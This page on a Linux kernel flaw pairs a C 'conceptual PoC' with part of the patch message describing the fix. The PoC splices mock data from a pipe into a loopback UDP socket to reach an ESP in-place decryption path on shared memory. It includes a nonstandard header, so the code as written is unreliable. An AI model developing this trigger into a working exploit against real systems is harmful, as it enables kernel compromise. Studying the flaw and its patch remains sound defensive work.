CVE-2026-43284

/* * Conceptual PoC for CVE-2026-43284 * Demonstrates the logic of splicing pages to a UDP socket * to trigger ESP in-place decryption on shared memory. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <fcntl.h> #include <sys/splice.h> void trigger_vulnerability() { int pipefd[2]; int udp_sock; struct sockaddr_in addr; // Create a pipe for shared pages if (pipe(pipefd) == -1) { perror("pipe"); return; } // Create a UDP socket (ESP-in-UDP usually port 4500) udp_sock = socket(AF_INET, SOCK_DGRAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(4500); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // In a real exploit, write a crafted ESP packet into the pipe char data[1024] = {0}; // Mock ESP packet data write(pipefd[1], data, sizeof(data)); // Splice data from pipe to UDP socket // This triggers the buggy path where SKBFL_SHARED_FRAG is missing // causing ESP to decrypt in-place on shared memory. splice(pipefd[0], NULL, udp_sock, NULL, sizeof(data), 0); close(udp_sock); close(pipefd[0]); close(pipefd[1]); } int main() { trigger_vulnerability(); return 0; }

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ESP input then takes the no-COW\nfast path for uncloned skbs without a frag_list and decrypts in place\nover data that is not owned privately by the skb.\n\nMark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching\nTCP. Also make ESP input fall back to skb_cow_data() when the flag is\npresent, so ESP does not decrypt externally backed frags in place.\nPrivate nonlinear skb frags still use the existing fast path.\n\nThis intentionally does not change ESP output. In esp_output_head(),\nthe path that appends the ESP trailer to existing skb tailroom without\ncalling skb_cow_data() is not reachable for nonlinear skbs:\nskb_tailroom() returns zero when skb->data_len is nonzero, while ESP\ntailen is positive. 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